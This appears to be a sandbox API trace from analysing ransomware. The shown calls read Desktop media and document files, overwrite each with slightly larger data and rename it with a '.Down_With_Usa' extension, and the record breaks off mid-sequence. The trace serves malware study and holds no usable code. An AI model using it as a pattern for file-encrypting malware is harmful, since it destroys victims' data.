[0111.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv", lpFilePart=0x0) returned 0x3a
[0111.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0111.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1g_jopnk9w7txvet.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.830] GetFileType (hFile=0x3a0) returned 0x1
[0111.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0111.830] GetFileType (hFile=0x3a0) returned 0x1
[0111.830] WriteFile (in: hFile=0x3a0, lpBuffer=0x26f1778*, nNumberOfBytesToWrite=0xdb10, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x26f1778*, lpNumberOfBytesWritten=0x2ebec8*=0xdb10, lpOverlapped=0x0) returned 1
[0111.832] CloseHandle (hObject=0x3a0) returned 1
[0111.867] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv", lpFilePart=0x0) returned 0x3a
[0111.867] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0111.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0111.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1g_jopnk9w7txvet.mkv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0x1f358ee0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdb10)) returned 1
[0111.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0111.867] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1g_jopnk9w7txvet.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1g_jopnk9w7txvet.mkv.down_with_usa")) returned 1
[0111.869] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg", lpFilePart=0x0) returned 0x3e
[0111.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0111.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2spxr1l63i0rofwowgxo.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.869] GetFileType (hFile=0x3a0) returned 0x1
[0111.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0111.869] GetFileType (hFile=0x3a0) returned 0x1
[0111.869] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x81cd
[0111.870] ReadFile (in: hFile=0x3a0, lpBuffer=0x26ff860, nNumberOfBytesToRead=0x81cd, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26ff860*, lpNumberOfBytesRead=0x2ebe58*=0x81cd, lpOverlapped=0x0) returned 1
[0111.871] CloseHandle (hObject=0x3a0) returned 1
[0111.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg", lpFilePart=0x0) returned 0x3e
[0111.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0111.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2spxr1l63i0rofwowgxo.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.912] GetFileType (hFile=0x3a0) returned 0x1
[0111.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0111.912] GetFileType (hFile=0x3a0) returned 0x1
[0111.912] WriteFile (in: hFile=0x3a0, lpBuffer=0x261c470*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x261c470*, lpNumberOfBytesWritten=0x2ebec8*=0x81d0, lpOverlapped=0x0) returned 1
[0111.914] CloseHandle (hObject=0x3a0) returned 1
[0111.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg", lpFilePart=0x0) returned 0x3e
[0111.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0111.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0111.916] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2spxr1l63i0rofwowgxo.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x1f3cb300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x81d0)) returned 1
[0111.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0111.916] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2spxr1l63i0rofwowgxo.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2spxr1l63i0rofwowgxo.jpg.down_with_usa")) returned 1
[0111.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi", lpFilePart=0x0) returned 0x38
[0111.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0111.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kx2w5gx_omr2z.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.919] GetFileType (hFile=0x3a0) returned 0x1
[0111.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0111.919] GetFileType (hFile=0x3a0) returned 0x1
[0111.919] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xb2bf
[0111.919] ReadFile (in: hFile=0x3a0, lpBuffer=0x2624c28, nNumberOfBytesToRead=0xb2bf, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2624c28*, lpNumberOfBytesRead=0x2ebe58*=0xb2bf, lpOverlapped=0x0) returned 1
[0111.920] CloseHandle (hObject=0x3a0) returned 1
[0111.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi", lpFilePart=0x0) returned 0x38
[0111.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0111.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kx2w5gx_omr2z.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.954] GetFileType (hFile=0x3a0) returned 0x1
[0111.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0111.954] GetFileType (hFile=0x3a0) returned 0x1
[0111.954] WriteFile (in: hFile=0x3a0, lpBuffer=0x2731d40*, nNumberOfBytesToWrite=0xb2c0, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x2731d40*, lpNumberOfBytesWritten=0x2ebec8*=0xb2c0, lpOverlapped=0x0) returned 1
[0111.956] CloseHandle (hObject=0x3a0) returned 1
[0111.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi", lpFilePart=0x0) returned 0x38
[0111.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0111.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0111.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kx2w5gx_omr2z.avi"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x1f43d720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0)) returned 1
[0111.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0111.960] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kx2w5gx_omr2z.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kx2w5gx_omr2z.avi.down_with_usa")) returned 1
[0111.962] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp", lpFilePart=0x0) returned 0x3d
[0111.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0111.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cibvwtugokdrmxr9bzc.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0111.962] GetFileType (hFile=0x3a0) returned 0x1
[0111.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0111.962] GetFileType (hFile=0x3a0) returned 0x1
[0111.962] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x4c51
[0111.963] ReadFile (in: hFile=0x3a0, lpBuffer=0x273d5b8, nNumberOfBytesToRead=0x4c51, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x273d5b8*, lpNumberOfBytesRead=0x2ebe58*=0x4c51, lpOverlapped=0x0) returned 1
[0111.964] CloseHandle (hObject=0x3a0) returned 1
[0112.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp", lpFilePart=0x0) returned 0x3d
[0112.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cibvwtugokdrmxr9bzc.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.026] GetFileType (hFile=0x3a0) returned 0x1
[0112.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.026] GetFileType (hFile=0x3a0) returned 0x1
[0112.026] WriteFile (in: hFile=0x3a0, lpBuffer=0x2656270*, nNumberOfBytesToWrite=0x4c60, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x2656270*, lpNumberOfBytesWritten=0x2ebec8*=0x4c60, lpOverlapped=0x0) returned 1
[0112.027] CloseHandle (hObject=0x3a0) returned 1
[0112.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp", lpFilePart=0x0) returned 0x3d
[0112.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0112.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cibvwtugokdrmxr9bzc.odp"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0x1f4fbe00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c60)) returned 1
[0112.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.052] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cibvwtugokdrmxr9bzc.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cibvwtugokdrmxr9bzc.odp.down_with_usa")) returned 1
[0112.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3", lpFilePart=0x0) returned 0x31
[0112.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cltnghv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.054] GetFileType (hFile=0x3a0) returned 0x1
[0112.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.054] GetFileType (hFile=0x3a0) returned 0x1
[0112.054] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x15195
[0112.054] ReadFile (in: hFile=0x3a0, lpBuffer=0x13e14588, nNumberOfBytesToRead=0x15195, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13e14588*, lpNumberOfBytesRead=0x2ebe58*=0x15195, lpOverlapped=0x0) returned 1
[0112.057] CloseHandle (hObject=0x3a0) returned 1
[0112.100] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3", lpFilePart=0x0) returned 0x31
[0112.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cltnghv.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.103] GetFileType (hFile=0x3a0) returned 0x1
[0112.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.104] GetFileType (hFile=0x3a0) returned 0x1
[0112.104] WriteFile (in: hFile=0x3a0, lpBuffer=0x13e7de40*, nNumberOfBytesToWrite=0x151a0, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x13e7de40*, lpNumberOfBytesWritten=0x2ebec8*=0x151a0, lpOverlapped=0x0) returned 1
[0112.107] CloseHandle (hObject=0x3a0) returned 1
[0112.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3", lpFilePart=0x0) returned 0x31
[0112.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x3f
[0112.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.112] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cltnghv.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x1f594380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x151a0)) returned 1
[0112.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.113] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cltnghv.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cltnghv.mp3.down_with_usa")) returned 1
[0112.114] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi", lpFilePart=0x0) returned 0x33
[0112.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhm_7qwbm.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.115] GetFileType (hFile=0x3a0) returned 0x1
[0112.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.115] GetFileType (hFile=0x3a0) returned 0x1
[0112.115] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x537d
[0112.115] ReadFile (in: hFile=0x3a0, lpBuffer=0x2747328, nNumberOfBytesToRead=0x537d, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2747328*, lpNumberOfBytesRead=0x2ebe58*=0x537d, lpOverlapped=0x0) returned 1
[0112.117] CloseHandle (hObject=0x3a0) returned 1
[0112.155] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi", lpFilePart=0x0) returned 0x33
[0112.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhm_7qwbm.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.157] GetFileType (hFile=0x3a0) returned 0x1
[0112.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.158] GetFileType (hFile=0x3a0) returned 0x1
[0112.158] WriteFile (in: hFile=0x3a0, lpBuffer=0x264d230*, nNumberOfBytesToWrite=0x5380, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x264d230*, lpNumberOfBytesWritten=0x2ebec8*=0x5380, lpOverlapped=0x0) returned 1
[0112.159] CloseHandle (hObject=0x3a0) returned 1
[0112.162] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi", lpFilePart=0x0) returned 0x33
[0112.162] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0112.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
